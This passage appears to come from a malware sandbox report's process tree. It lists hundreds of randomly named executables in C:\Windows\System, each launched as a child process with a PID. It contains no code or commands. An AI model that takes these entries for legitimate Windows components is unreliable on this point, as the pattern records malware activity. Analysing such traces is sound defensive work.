  PID:8208
- C:\Windows\System\wOxFUTA.exe
  C:\Windows\System\wOxFUTA.exe
  2⤵
  PID:8228
- C:\Windows\System\EABlFMp.exe
  C:\Windows\System\EABlFMp.exe
  2⤵
  PID:8248
- C:\Windows\System\FAWmWPy.exe
  C:\Windows\System\FAWmWPy.exe
  2⤵
  PID:8268
- C:\Windows\System\JNoBYeL.exe
  C:\Windows\System\JNoBYeL.exe
  2⤵
  PID:8292
- C:\Windows\System\MBJdiwc.exe
  C:\Windows\System\MBJdiwc.exe
  2⤵
  PID:8320
- C:\Windows\System\GwLkkUV.exe
  C:\Windows\System\GwLkkUV.exe
  2⤵
  PID:8340
- C:\Windows\System\mhopSZu.exe
  C:\Windows\System\mhopSZu.exe
  2⤵
  PID:8392
- C:\Windows\System\zZOdZPD.exe
  C:\Windows\System\zZOdZPD.exe
  2⤵
  PID:8444
- C:\Windows\System\IxujkkV.exe
  C:\Windows\System\IxujkkV.exe
  2⤵
  PID:8472
- C:\Windows\System\qmOcjJj.exe
  C:\Windows\System\qmOcjJj.exe
  2⤵
  PID:8496
- C:\Windows\System\pPZawvK.exe
  C:\Windows\System\pPZawvK.exe
  2⤵
  PID:8520
- C:\Windows\System\CswlDZn.exe
  C:\Windows\System\CswlDZn.exe
  2⤵
  PID:8544
- C:\Windows\System\WOlRYFO.exe
  C:\Windows\System\WOlRYFO.exe
  2⤵
  PID:8564
- C:\Windows\System\LPAdQgh.exe
  C:\Windows\System\LPAdQgh.exe
  2⤵
  PID:8592
- C:\Windows\System\akGrAGs.exe
  C:\Windows\System\akGrAGs.exe
  2⤵
  PID:8612
- C:\Windows\System\WalyTXR.exe
  C:\Windows\System\WalyTXR.exe
  2⤵
  PID:8644
- C:\Windows\System\kPaybAg.exe
  C:\Windows\System\kPaybAg.exe
  2⤵
  PID:8676
- C:\Windows\System\DqmuAFP.exe
  C:\Windows\System\DqmuAFP.exe
  2⤵
  PID:8696
- C:\Windows\System\SgAYHic.exe
  C:\Windows\System\SgAYHic.exe
  2⤵
  PID:8736
- C:\Windows\System\AJASqzW.exe
  C:\Windows\System\AJASqzW.exe
  2⤵
  PID:8768
- C:\Windows\System\IBLqxNV.exe
  C:\Windows\System\IBLqxNV.exe
  2⤵
  PID:8796
- C:\Windows\System\LjGueiN.exe
  C:\Windows\System\LjGueiN.exe
  2⤵
  PID:8820
- C:\Windows\System\WIOkqRL.exe
  C:\Windows\System\WIOkqRL.exe
  2⤵
  PID:8852
- C:\Windows\System\VEmYpiZ.exe
  C:\Windows\System\VEmYpiZ.exe
  2⤵
  PID:8876
- C:\Windows\System\lWDvmBO.exe
  C:\Windows\System\lWDvmBO.exe
  2⤵
  PID:8940
- C:\Windows\System\JRYllBH.exe
  C:\Windows\System\JRYllBH.exe
  2⤵
  PID:8956
- C:\Windows\System\LeKvGGG.exe
  C:\Windows\System\LeKvGGG.exe
  2⤵
  PID:8996
- C:\Windows\System\dAchBFh.exe
  C:\Windows\System\dAchBFh.exe
  2⤵
  PID:9012
- C:\Windows\System\qHIzNjA.exe
  C:\Windows\System\qHIzNjA.exe
  2⤵
  PID:9068
- C:\Windows\System\XqqoLnF.exe
  C:\Windows\System\XqqoLnF.exe
  2⤵
  PID:9088
- C:\Windows\System\rEiPvoA.exe
  C:\Windows\System\rEiPvoA.exe
  2⤵
  PID:9108
- C:\Windows\System\VCSuUzE.exe
  C:\Windows\System\VCSuUzE.exe
  2⤵
  PID:9132
- C:\Windows\System\ayjHFyI.exe
  C:\Windows\System\ayjHFyI.exe
  2⤵
  PID:9148
- C:\Windows\System\GCiwvmJ.exe
  C:\Windows\System\GCiwvmJ.exe
  2⤵
  PID:9192
- C:\Windows\System\kGbwZqk.exe
  C:\Windows\System\kGbwZqk.exe
  2⤵
  PID:6760
- C:\Windows\System\NXNHdmi.exe
  C:\Windows\System\NXNHdmi.exe
  2⤵
  PID:8264
- C:\Windows\System\LHxDneg.exe
  C:\Windows\System\LHxDneg.exe
  2⤵
  PID:8260
- C:\Windows\System\ALzrPpf.exe
  C:\Windows\System\ALzrPpf.exe
  2⤵
  PID:8376
- C:\Windows\System\GORKRcO.exe
  C:\Windows\System\GORKRcO.exe
  2⤵
  PID:8420
- C:\Windows\System\RiZhSKZ.exe
  C:\Windows\System\RiZhSKZ.exe
  2⤵
  PID:8488
- C:\Windows\System\mUMxpJu.exe
  C:\Windows\System\mUMxpJu.exe
  2⤵
  PID:8512
- C:\Windows\System\lOxmZtI.exe
  C:\Windows\System\lOxmZtI.exe
  2⤵
  PID:8632
- C:\Windows\System\GFjWqOU.exe
  C:\Windows\System\GFjWqOU.exe
  2⤵
  PID:8652
- C:\Windows\System\bYHqNJi.exe
  C:\Windows\System\bYHqNJi.exe
  2⤵
  PID:8716
- C:\Windows\System\XCZQGhl.exe
  C:\Windows\System\XCZQGhl.exe
  2⤵
  PID:8764
- C:\Windows\System\IfHiDhI.exe
  C:\Windows\System\IfHiDhI.exe
  2⤵
  PID:8776
- C:\Windows\System\ecjPsKt.exe
  C:\Windows\System\ecjPsKt.exe
  2⤵
  PID:8888
- C:\Windows\System\asZiWDo.exe
  C:\Windows\System\asZiWDo.exe
  2⤵
  PID:8928
- C:\Windows\System\cMADnID.exe
  C:\Windows\System\cMADnID.exe
  2⤵
  PID:8992
- C:\Windows\System\xdfazVu.exe
  C:\Windows\System\xdfazVu.exe
  2⤵
  PID:9060
- C:\Windows\System\uYWoHLt.exe
  C:\Windows\System\uYWoHLt.exe
  2⤵
  PID:9116
- C:\Windows\System\bBjTLCm.exe
  C:\Windows\System\bBjTLCm.exe
  2⤵
  PID:9200
- C:\Windows\System\CSFmGOn.exe
  C:\Windows\System\CSFmGOn.exe
  2⤵
  PID:7496
- C:\Windows\System\LIiYcNr.exe
  C:\Windows\System\LIiYcNr.exe
  2⤵
  PID:8432
- C:\Windows\System\cpfKpAH.exe
  C:\Windows\System\cpfKpAH.exe
  2⤵
  PID:8508
- C:\Windows\System\aTkdvvW.exe
  C:\Windows\System\aTkdvvW.exe
  2⤵
  PID:8668
- C:\Windows\System\gvEgWwx.exe
  C:\Windows\System\gvEgWwx.exe
  2⤵
  PID:8920
- C:\Windows\System\ajNdyLS.exe
  C:\Windows\System\ajNdyLS.exe
  2⤵
  PID:8988
- C:\Windows\System\hdGVYvK.exe
  C:\Windows\System\hdGVYvK.exe
  2⤵
  PID:9084
- C:\Windows\System\bSSNlnm.exe
  C:\Windows\System\bSSNlnm.exe
  2⤵
  PID:8196
- C:\Windows\System\ykoPnND.exe
  C:\Windows\System\ykoPnND.exe
  2⤵
  PID:8604
- C:\Windows\System\LnOumkA.exe
  C:\Windows\System\LnOumkA.exe
  2⤵
  PID:9028
- C:\Windows\System\QpDaiJE.exe
  C:\Windows\System\QpDaiJE.exe
  2⤵
  PID:9124
- C:\Windows\System\ZAtYuua.exe
  C:\Windows\System\ZAtYuua.exe
  2⤵
  PID:9236
- C:\Windows\System\lQXYmZn.exe
  C:\Windows\System\lQXYmZn.exe
  2⤵
  PID:9256
- C:\Windows\System\BzIeQwM.exe
  C:\Windows\System\BzIeQwM.exe
  2⤵
  PID:9276
- C:\Windows\System\DnYhGZw.exe
  C:\Windows\System\DnYhGZw.exe
  2⤵
  PID:9312
- C:\Windows\System\Sxgvefp.exe
  C:\Windows\System\Sxgvefp.exe
  2⤵
  PID:9340
- C:\Windows\System\wvfyufg.exe
  C:\Windows\System\wvfyufg.exe
  2⤵
  PID:9360
- C:\Windows\System\TqBtdiS.exe
  C:\Windows\System\TqBtdiS.exe
  2⤵
  PID:9388
- C:\Windows\System\Shegjtc.exe
  C:\Windows\System\Shegjtc.exe
  2⤵
  PID:9416
- C:\Windows\System\JOmWosc.exe
  C:\Windows\System\JOmWosc.exe
  2⤵
  PID:9456
- C:\Windows\System\mUVuIrM.exe
  C:\Windows\System\mUVuIrM.exe
  2⤵
  PID:9476
- C:\Windows\System\ZnJoqmx.exe
  C:\Windows\System\ZnJoqmx.exe
  2⤵
  PID:9508
- C:\Windows\System\xxYdvUk.exe
  C:\Windows\System\xxYdvUk.exe
  2⤵
  PID:9524
- C:\Windows\System\wqAZKcB.exe
  C:\Windows\System\wqAZKcB.exe
  2⤵
  PID:9544
- C:\Windows\System\vCxOuug.exe
  C:\Windows\System\vCxOuug.exe
  2⤵
  PID:9600
- C:\Windows\System\soNWnWw.exe
  C:\Windows\System\soNWnWw.exe
  2⤵
  PID:9628
- C:\Windows\System\ZuDIxFU.exe
  C:\Windows\System\ZuDIxFU.exe
  2⤵
  PID:9652
- C:\Windows\System\nAnaXsH.exe
  C:\Windows\System\nAnaXsH.exe
  2⤵
  PID:9672
- C:\Windows\System\ECCEiTB.exe
  C:\Windows\System\ECCEiTB.exe
  2⤵
  PID:9728
- C:\Windows\System\FSiLWPx.exe
  C:\Windows\System\FSiLWPx.exe
  2⤵
  PID:9752
- C:\Windows\System\PyGxMrI.exe
  C:\Windows\System\PyGxMrI.exe
  2⤵
  PID:9772
- C:\Windows\System\KrRhXmD.exe
  C:\Windows\System\KrRhXmD.exe
  2⤵
  PID:9828
- C:\Windows\System\tQVDnBY.exe
  C:\Windows\System\tQVDnBY.exe
  2⤵
  PID:9844
- C:\Windows\System\TqymgJP.exe
  C:\Windows\System\TqymgJP.exe
  2⤵
  PID:9860
- C:\Windows\System\plbzJHD.exe
  C:\Windows\System\plbzJHD.exe
  2⤵
  PID:9880
- C:\Windows\System\nuTRska.exe
  C:\Windows\System\nuTRska.exe
  2⤵
  PID:9936
- C:\Windows\System\HymPYKY.exe
  C:\Windows\System\HymPYKY.exe
  2⤵
  PID:9952
- C:\Windows\System\WHWnAFa.exe
  C:\Windows\System\WHWnAFa.exe
  2⤵
  PID:9968
- C:\Windows\System\NmrsCld.exe
  C:\Windows\System\NmrsCld.exe
  2⤵
  PID:9988
- C:\Windows\System\TsUunmZ.exe
  C:\Windows\System\TsUunmZ.exe
  2⤵
  PID:10008
- C:\Windows\System\YAaoOhq.exe
  C:\Windows\System\YAaoOhq.exe
  2⤵
  PID:10044
- C:\Windows\System\HNvtEIr.exe
  C:\Windows\System\HNvtEIr.exe
  2⤵
  PID:10064
- C:\Windows\System\ozlkafF.exe
  C:\Windows\System\ozlkafF.exe
  2⤵
  PID:10084
- C:\Windows\System\vssVKJp.exe
  C:\Windows\System\vssVKJp.exe
  2⤵
  PID:10172
- C:\Windows\System\abEvXsb.exe
  C:\Windows\System\abEvXsb.exe
  2⤵
  PID:10196
- C:\Windows\System\fIOcXTK.exe
  C:\Windows\System\fIOcXTK.exe
  2⤵
  PID:10224
- C:\Windows\System\GBOhesP.exe
  C:\Windows\System\GBOhesP.exe
  2⤵
  PID:9296
- C:\Windows\System\iGVmfTo.exe
  C:\Windows\System\iGVmfTo.exe
  2⤵
  PID:9384
- C:\Windows\System\BTRcuYf.exe
  C:\Windows\System\BTRcuYf.exe
  2⤵
  PID:9448
- C:\Windows\System\wAQpsfg.exe
  C:\Windows\System\wAQpsfg.exe
  2⤵
  PID:9464
- C:\Windows\System\DWXngFa.exe
  C:\Windows\System\DWXngFa.exe
  2⤵
  PID:9040
- C:\Windows\System\iLxpywP.exe
  C:\Windows\System\iLxpywP.exe
  2⤵
  PID:9588
- C:\Windows\System\RYAHrFE.exe
  C:\Windows\System\RYAHrFE.exe
  2⤵
  PID:9668
- C:\Windows\System\SorDKNG.exe
  C:\Windows\System\SorDKNG.exe
  2⤵
  PID:9784
- C:\Windows\System\gFAylOt.exe
  C:\Windows\System\gFAylOt.exe
  2⤵
  PID:9888
- C:\Windows\System\GbBRqiT.exe
  C:\Windows\System\GbBRqiT.exe
  2⤵
  PID:9920
- C:\Windows\System\UKSfpTB.exe
  C:\Windows\System\UKSfpTB.exe
  2⤵
  PID:9976
- C:\Windows\System\TiXOnZy.exe
  C:\Windows\System\TiXOnZy.exe
  2⤵
  PID:9856
- C:\Windows\System\rmHVphW.exe
  C:\Windows\System\rmHVphW.exe
  2⤵
  PID:9896
- C:\Windows\System\JEKWlXK.exe
  C:\Windows\System\JEKWlXK.exe
  2⤵
  PID:10032
- C:\Windows\System\bFYaqzI.exe
  C:\Windows\System\bFYaqzI.exe
  2⤵
  PID:10136
- C:\Windows\System\zprGqHi.exe
  C:\Windows\System\zprGqHi.exe
  2⤵
  PID:10212
- C:\Windows\System\HaQDqmL.exe
  C:\Windows\System\HaQDqmL.exe
  2⤵
  PID:2360
- C:\Windows\System\NmjYQRw.exe
  C:\Windows\System\NmjYQRw.exe
  2⤵
  PID:9244
- C:\Windows\System\MqaDEAt.exe
  C:\Windows\System\MqaDEAt.exe
  2⤵
  PID:9496
- C:\Windows\System\OhWKOoh.exe
  C:\Windows\System\OhWKOoh.exe
  2⤵
  PID:9540
- C:\Windows\System\gTdkyHR.exe
  C:\Windows\System\gTdkyHR.exe
  2⤵
  PID:9788
- C:\Windows\System\gNypDWU.exe
  C:\Windows\System\gNypDWU.exe
  2⤵
  PID:9852
- C:\Windows\System\foYXuDB.exe
  C:\Windows\System\foYXuDB.exe
  2⤵
  PID:9960
- C:\Windows\System\FDFPAaV.exe
  C:\Windows\System\FDFPAaV.exe
  2⤵
  PID:3224
- C:\Windows\System\OXFKPVQ.exe
  C:\Windows\System\OXFKPVQ.exe
  2⤵
  PID:9484
- C:\Windows\System\aywVJOp.exe
  C:\Windows\System\aywVJOp.exe
  2⤵
  PID:9696
- C:\Windows\System\gdTCCAW.exe
  C:\Windows\System\gdTCCAW.exe
  2⤵
  PID:9944
- C:\Windows\System\ZfpnYHR.exe
  C:\Windows\System\ZfpnYHR.exe
  2⤵
  PID:10184
- C:\Windows\System\BXtYRdi.exe
  C:\Windows\System\BXtYRdi.exe
  2⤵
  PID:9912
- C:\Windows\System\ETWMILe.exe
  C:\Windows\System\ETWMILe.exe
  2⤵
  PID:10260
- C:\Windows\System\pkbJUug.exe
  C:\Windows\System\pkbJUug.exe
  2⤵
  PID:10280
- C:\Windows\System\yKQMZCy.exe
  C:\Windows\System\yKQMZCy.exe
  2⤵
  PID:10316
- C:\Windows\System\GiEAUwu.exe
  C:\Windows\System\GiEAUwu.exe
  2⤵
  PID:10348
- C:\Windows\System\uuPoHXE.exe
  C:\Windows\System\uuPoHXE.exe
  2⤵
  PID:10372
- C:\Windows\System\RNedMgY.exe
  C:\Windows\System\RNedMgY.exe
  2⤵
  PID:10388
- C:\Windows\System\vVRQmcD.exe
  C:\Windows\System\vVRQmcD.exe
  2⤵
  PID:10408
- C:\Windows\System\sCOBYsX.exe
  C:\Windows\System\sCOBYsX.exe
  2⤵
  PID:10436
- C:\Windows\System\KzblFSw.exe
  C:\Windows\System\KzblFSw.exe
  2⤵
  PID:10484
- C:\Windows\System\SRaYQFV.exe
  C:\Windows\System\SRaYQFV.exe
  2⤵
  PID:10516
- C:\Windows\System\caWdmev.exe
  C:\Windows\System\caWdmev.exe
  2⤵
  PID:10548
- C:\Windows\System\KLrNMvA.exe
  C:\Windows\System\KLrNMvA.exe
  2⤵
  PID:10568
- C:\Windows\System\xmgzeXI.exe
  C:\Windows\System\xmgzeXI.exe
  2⤵
  PID:10608
- C:\Windows\System\kKrvqch.exe
  C:\Windows\System\kKrvqch.exe
  2⤵
  PID:10632
- C:\Windows\System\soyhllp.exe
  C:\Windows\System\soyhllp.exe
  2⤵
  PID:10652
- C:\Windows\System\RHvgDHN.exe
  C:\Windows\System\RHvgDHN.exe
  2⤵
  PID:10676
- C:\Windows\System\AdGqBQo.exe
  C:\Windows\System\AdGqBQo.exe
  2⤵
  PID:10700
- C:\Windows\System\uSmJoRe.exe
  C:\Windows\System\uSmJoRe.exe
  2⤵
  PID:10724
- C:\Windows\System\fNrCjGf.exe
  C:\Windows\System\fNrCjGf.exe
  2⤵
  PID:10752
- C:\Windows\System\FARegiD.exe
  C:\Windows\System\FARegiD.exe
  2⤵
  PID:10776
- C:\Windows\System\fHFwYZi.exe
  C:\Windows\System\fHFwYZi.exe
  2⤵
  PID:10796
- C:\Windows\System\RZMEsGa.exe
  C:\Windows\System\RZMEsGa.exe
  2⤵
  PID:10816
- C:\Windows\System\tGpNaIt.exe
  C:\Windows\System\tGpNaIt.exe
  2⤵
  PID:10840
- C:\Windows\System\ugvhsYR.exe
  C:\Windows\System\ugvhsYR.exe
  2⤵
  PID:10904
- C:\Windows\System\mMlUMIG.exe
  C:\Windows\System\mMlUMIG.exe
  2⤵
  PID:10924
- C:\Windows\System\XdbhGnX.exe
  C:\Windows\System\XdbhGnX.exe
  2⤵
  PID:10960
- C:\Windows\System\oZkpCrp.exe
  C:\Windows\System\oZkpCrp.exe
  2⤵
  PID:10980
- C:\Windows\System\TZZkciC.exe
  C:\Windows\System\TZZkciC.exe
  2⤵
  PID:11000
- C:\Windows\System\btXxgeS.exe
  C:\Windows\System\btXxgeS.exe
  2⤵
  PID:11040
- C:\Windows\System\iERmupD.exe
  C:\Windows\System\iERmupD.exe
  2⤵
  PID:11072
- C:\Windows\System\qiEtEkW.exe
  C:\Windows\System\qiEtEkW.exe
  2⤵
  PID:11112
- C:\Windows\System\vPIXcvI.exe
  C:\Windows\System\vPIXcvI.exe
  2⤵
  PID:11136
- C:\Windows\System\slXtLlR.exe
  C:\Windows\System\slXtLlR.exe
  2⤵
  PID:11156
- C:\Windows\System\lugplFI.exe
  C:\Windows\System\lugplFI.exe
  2⤵
  PID:11172
- C:\Windows\System\EXicBiN.exe
  C:\Windows\System\EXicBiN.exe
  2⤵
  PID:11196
- C:\Windows\System\BMeXJZb.exe
  C:\Windows\System\BMeXJZb.exe
  2⤵
  PID:11240
- C:\Windows\System\VunUUzA.exe
  C:\Windows\System\VunUUzA.exe
  2⤵
  PID:9576
- C:\Windows\System\rrKHTzS.exe
  C:\Windows\System\rrKHTzS.exe
  2⤵
  PID:212
- C:\Windows\System\mmUaBVi.exe
  C:\Windows\System\mmUaBVi.exe
  2⤵
  PID:10312
- C:\Windows\System\pAFYDaH.exe
  C:\Windows\System\pAFYDaH.exe
  2⤵
  PID:10444
- C:\Windows\System\MgLRQLN.exe
  C:\Windows\System\MgLRQLN.exe
  2⤵
  PID:10464
- C:\Windows\System\zavUFqb.exe
  C:\Windows\System\zavUFqb.exe
  2⤵
  PID:10456
- C:\Windows\System\cqiYCrD.exe
  C:\Windows\System\cqiYCrD.exe
  2⤵
  PID:10556
- C:\Windows\System\icWOVDB.exe
  C:\Windows\System\icWOVDB.exe
  2⤵
  PID:10588
- C:\Windows\System\EwDTsCA.exe
  C:\Windows\System\EwDTsCA.exe
  2⤵
  PID:4216
- C:\Windows\System\JlwbuWE.exe
  C:\Windows\System\JlwbuWE.exe
  2⤵
  PID:10644
- C:\Windows\System\riRIAVG.exe
  C:\Windows\System\riRIAVG.exe
  2⤵
  PID:10804
- C:\Windows\System\PpiGGvD.exe
  C:\Windows\System\PpiGGvD.exe
  2⤵
  PID:10784
- C:\Windows\System\hTPbaSq.exe
  C:\Windows\System\hTPbaSq.exe
  2⤵
  PID:10868
- C:\Windows\System\AljgllW.exe
  C:\Windows\System\AljgllW.exe
  2⤵
  PID:10920
- C:\Windows\System\JUFqEvt.exe
  C:\Windows\System\JUFqEvt.exe
  2⤵
  PID:10976
- C:\Windows\System\xjovjho.exe
  C:\Windows\System\xjovjho.exe
  2⤵
  PID:11028
- C:\Windows\System\UtGwVUT.exe
  C:\Windows\System\UtGwVUT.exe
  2⤵
  PID:11108
- C:\Windows\System\qOntQsS.exe
  C:\Windows\System\qOntQsS.exe
  2⤵
  PID:2476
- C:\Windows\System\PoNWlGY.exe
  C:\Windows\System\PoNWlGY.exe
  2⤵
  PID:11228
- C:\Windows\System\vOvpbKd.exe
  C:\Windows\System\vOvpbKd.exe
  2⤵
  PID:10304
- C:\Windows\System\znJiwzm.exe
  C:\Windows\System\znJiwzm.exe
  2⤵
  PID:9616
- C:\Windows\System\kUbsiNH.exe
  C:\Windows\System\kUbsiNH.exe
  2⤵
  PID:10640
- C:\Windows\System\dGitFjf.exe
  C:\Windows\System\dGitFjf.exe
  2⤵
  PID:10684
- C:\Windows\System\SRCboZd.exe
  C:\Windows\System\SRCboZd.exe
  2⤵
  PID:10812
- C:\Windows\System\zcZodYF.exe
  C:\Windows\System\zcZodYF.exe
  2⤵
  PID:10968
- C:\Windows\System\eFWCicZ.exe
  C:\Windows\System\eFWCicZ.exe
  2⤵
  PID:11088
- C:\Windows\System\BVHFfof.exe
  C:\Windows\System\BVHFfof.exe
  2⤵
  PID:2024
- C:\Windows\System\bfnhbQC.exe
  C:\Windows\System\bfnhbQC.exe
  2⤵
  PID:1304
- C:\Windows\System\XOgMHiq.exe
  C:\Windows\System\XOgMHiq.exe
  2⤵
  PID:10396
- C:\Windows\System\iObgqvZ.exe
  C:\Windows\System\iObgqvZ.exe
  2⤵
  PID:10624
- C:\Windows\System\fcYjIGL.exe
  C:\Windows\System\fcYjIGL.exe
  2⤵
  PID:10936
- C:\Windows\System\sdlAZCu.exe
  C:\Windows\System\sdlAZCu.exe
  2⤵
  PID:10540
- C:\Windows\System\BtpzJmh.exe
  C:\Windows\System\BtpzJmh.exe
  2⤵
  PID:10896
- C:\Windows\System\tTGLsmW.exe
  C:\Windows\System\tTGLsmW.exe
  2⤵
  PID:11368
- C:\Windows\System\keZCkmO.exe
  C:\Windows\System\keZCkmO.exe
  2⤵
  PID:11480
- C:\Windows\System\MxCtVvb.exe
  C:\Windows\System\MxCtVvb.exe
  2⤵
  PID:11508
- C:\Windows\System\wjJvIjz.exe
  C:\Windows\System\wjJvIjz.exe
  2⤵
  PID:11540
- C:\Windows\System\VIbscvv.exe
  C:\Windows\System\VIbscvv.exe
  2⤵
  PID:11556
- C:\Windows\System\IWrrRXX.exe
  C:\Windows\System\IWrrRXX.exe
  2⤵
  PID:11596
- C:\Windows\System\SUsZXfU.exe
  C:\Windows\System\SUsZXfU.exe
  2⤵
  PID:11636
- C:\Windows\System\sEOZZlc.exe
  C:\Windows\System\sEOZZlc.exe
  2⤵
  PID:11660
- C:\Windows\System\JBmlJsJ.exe
  C:\Windows\System\JBmlJsJ.exe
  2⤵
  PID:11680
- C:\Windows\System\dJWnQLX.exe
  C:\Windows\System\dJWnQLX.exe
  2⤵
  PID:11708
- C:\Windows\System\ANVOIpk.exe
  C:\Windows\System\ANVOIpk.exe
  2⤵
  PID:11732
- C:\Windows\System\OuKfBFo.exe
  C:\Windows\System\OuKfBFo.exe
  2⤵
  PID:11752
- C:\Windows\System\ekEcXfJ.exe
  C:\Windows\System\ekEcXfJ.exe
  2⤵
  PID:11808
- C:\Windows\System\NAJBGLE.exe
  C:\Windows\System\NAJBGLE.exe
  2⤵
  PID:11828
- C:\Windows\System\nZFAyjt.exe
  C:\Windows\System\nZFAyjt.exe
  2⤵
  PID:11860
- C:\Windows\System\VpocVAq.exe
  C:\Windows\System\VpocVAq.exe
  2⤵
  PID:11884
- C:\Windows\System\JXMWPAX.exe
  C:\Windows\System\JXMWPAX.exe
  2⤵
  PID:11908
- C:\Windows\System\EHUPJTx.exe
  C:\Windows\System\EHUPJTx.exe
  2⤵
  PID:11940
- C:\Windows\System\esCpvZv.exe
  C:\Windows\System\esCpvZv.exe
  2⤵
  PID:11988
- C:\Windows\System\UVNfHiN.exe
  C:\Windows\System\UVNfHiN.exe
  2⤵
  PID:12008
- C:\Windows\System\GxUSszT.exe
  C:\Windows\System\GxUSszT.exe
  2⤵
  PID:12036
- C:\Windows\System\xeEPRyi.exe
  C:\Windows\System\xeEPRyi.exe
  2⤵
  PID:12056
- C:\Windows\System\SRwOgpD.exe
  C:\Windows\System\SRwOgpD.exe
  2⤵
  PID:12076
- C:\Windows\System\VwuzOfh.exe
  C:\Windows\System\VwuzOfh.exe
  2⤵
  PID:12096
- C:\Windows\System\AMFIDqU.exe
  C:\Windows\System\AMFIDqU.exe
  2⤵
  PID:12124
- C:\Windows\System\bxEfdYa.exe
  C:\Windows\System\bxEfdYa.exe
  2⤵
  PID:12180
- C:\Windows\System\UmlpjWE.exe
  C:\Windows\System\UmlpjWE.exe
  2⤵
  PID:12216
- C:\Windows\System\SSUlZWs.exe
  C:\Windows\System\SSUlZWs.exe
  2⤵
  PID:12240
- C:\Windows\System\BmTGziy.exe
  C:\Windows\System\BmTGziy.exe
  2⤵
  PID:12260
- C:\Windows\System\ppnpaqQ.exe
  C:\Windows\System\ppnpaqQ.exe
  2⤵
  PID:11280
- C:\Windows\System\kKrpbHF.exe
  C:\Windows\System\kKrpbHF.exe
  2⤵
  PID:11292
- C:\Windows\System\iMNVOaN.exe
  C:\Windows\System\iMNVOaN.exe
  2⤵
  PID:11316
- C:\Windows\System\mulKmMg.exe
  C:\Windows\System\mulKmMg.exe
  2⤵
  PID:11348
- C:\Windows\System\HCENWed.exe
  C:\Windows\System\HCENWed.exe
  2⤵
  PID:11376
- C:\Windows\System\GUHzajK.exe
  C:\Windows\System\GUHzajK.exe
  2⤵
  PID:11412
- C:\Windows\System\mEKLkQN.exe
  C:\Windows\System\mEKLkQN.exe
  2⤵
  PID:11448
- C:\Windows\System\qaWgUaz.exe
  C:\Windows\System\qaWgUaz.exe
  2⤵
  PID:11476
- C:\Windows\System\lXhqozb.exe
  C:\Windows\System\lXhqozb.exe
  2⤵
  PID:11524
- C:\Windows\System\FzBDHfJ.exe
  C:\Windows\System\FzBDHfJ.exe
  2⤵
  PID:11628
- C:\Windows\System\gmDICDf.exe
  C:\Windows\System\gmDICDf.exe
  2⤵
  PID:11704
- C:\Windows\System\KMTDNza.exe
  C:\Windows\System\KMTDNza.exe
  2⤵
  PID:11728
- C:\Windows\System\eEGNkdW.exe
  C:\Windows\System\eEGNkdW.exe
  2⤵
  PID:11820
- C:\Windows\System\lCMGgVK.exe
  C:\Windows\System\lCMGgVK.exe
  2⤵
  PID:11896
- C:\Windows\System\USqMlSO.exe
  C:\Windows\System\USqMlSO.exe
  2⤵
  PID:11956
- C:\Windows\System\sKhxAze.exe
  C:\Windows\System\sKhxAze.exe
  2⤵
  PID:12208
- C:\Windows\System\XPogQJw.exe
  C:\Windows\System\XPogQJw.exe
  2⤵
  PID:12196
- C:\Windows\System\ThAvOvc.exe
  C:\Windows\System\ThAvOvc.exe
  2⤵
  PID:10340
- C:\Windows\System\mNFaaCj.exe
  C:\Windows\System\mNFaaCj.exe
  2⤵
  PID:12280
- C:\Windows\System\RFmXBND.exe
  C:\Windows\System\RFmXBND.exe
  2⤵
  PID:11312
- C:\Windows\System\iQzJbNV.exe
  C:\Windows\System\iQzJbNV.exe
  2⤵
  PID:11308
- C:\Windows\System\jLUJUcy.exe
  C:\Windows\System\jLUJUcy.exe
  2⤵
  PID:11364
- C:\Windows\System\igpjoly.exe
  C:\Windows\System\igpjoly.exe
  2⤵
  PID:3036
- C:\Windows\System\cUBUira.exe
  C:\Windows\System\cUBUira.exe
  2⤵
  PID:2436
- C:\Windows\System\wNsQXpU.exe
  C:\Windows\System\wNsQXpU.exe
  2⤵
  PID:11440
- C:\Windows\System\bCLNPeB.exe
  C:\Windows\System\bCLNPeB.exe
  2⤵
  PID:11676
- C:\Windows\System\iclpsyO.exe
  C:\Windows\System\iclpsyO.exe
  2⤵
  PID:11848
- C:\Windows\System\hRjndyH.exe
  C:\Windows\System\hRjndyH.exe
  2⤵
  PID:11984
- C:\Windows\System\bMVLGGh.exe
  C:\Windows\System\bMVLGGh.exe
  2⤵
  PID:12140
- C:\Windows\System\rskkGLm.exe
  C:\Windows\System\rskkGLm.exe
  2⤵
  PID:11336
- C:\Windows\System\HhHAZSk.exe
  C:\Windows\System\HhHAZSk.exe
  2⤵
  PID:4152
- C:\Windows\System\aVVukMg.exe
  C:\Windows\System\aVVukMg.exe
  2⤵
  PID:4000
- C:\Windows\System\MODCKfD.exe
  C:\Windows\System\MODCKfD.exe
  2⤵
  PID:4304
- C:\Windows\System\bDTNPRW.exe
  C:\Windows\System\bDTNPRW.exe
  2⤵
  PID:2544
- C:\Windows\System\lmONHuS.exe
  C:\Windows\System\lmONHuS.exe
  2⤵
  PID:11936
- C:\Windows\System\ZcbHOJP.exe
  C:\Windows\System\ZcbHOJP.exe
  2⤵
  PID:12088
- C:\Windows\System\HBcrxfh.exe
  C:\Windows\System\HBcrxfh.exe
  2⤵
  PID:4836
- C:\Windows\System\RmADnRA.exe
  C:\Windows\System\RmADnRA.exe
  2⤵
  PID:11780
- C:\Windows\System\uXJzBwh.exe
  C:\Windows\System\uXJzBwh.exe
  2⤵
  PID:12152
- C:\Windows\System\SYvfglu.exe
  C:\Windows\System\SYvfglu.exe
  2⤵
  PID:1924
- C:\Windows\System\DpZBeZD.exe
  C:\Windows\System\DpZBeZD.exe
  2⤵
  PID:11744
- C:\Windows\System\flGWRdn.exe
  C:\Windows\System\flGWRdn.exe
  2⤵
  PID:12312
- C:\Windows\System\ILcxlHN.exe
  C:\Windows\System\ILcxlHN.exe
  2⤵
  PID:12344
- C:\Windows\System\PIiUJut.exe
  C:\Windows\System\PIiUJut.exe
  2⤵
  PID:12368
- C:\Windows\System\RIxLqIa.exe
  C:\Windows\System\RIxLqIa.exe
  2⤵
  PID:12424
- C:\Windows\System\ZgzXqPr.exe
  C:\Windows\System\ZgzXqPr.exe
  2⤵
  PID:12448
- C:\Windows\System\rjXhkss.exe
  C:\Windows\System\rjXhkss.exe
  2⤵
  PID:12500
- C:\Windows\System\BYuiqAR.exe
  C:\Windows\System\BYuiqAR.exe
  2⤵
  PID:12520
- C:\Windows\System\krscHVQ.exe
  C:\Windows\System\krscHVQ.exe
  2⤵
  PID:12544
- C:\Windows\System\ciGzOlP.exe
  C:\Windows\System\ciGzOlP.exe
  2⤵
  PID:12584
- C:\Windows\System\GQCUmCO.exe
  C:\Windows\System\GQCUmCO.exe
  2⤵
  PID:12600
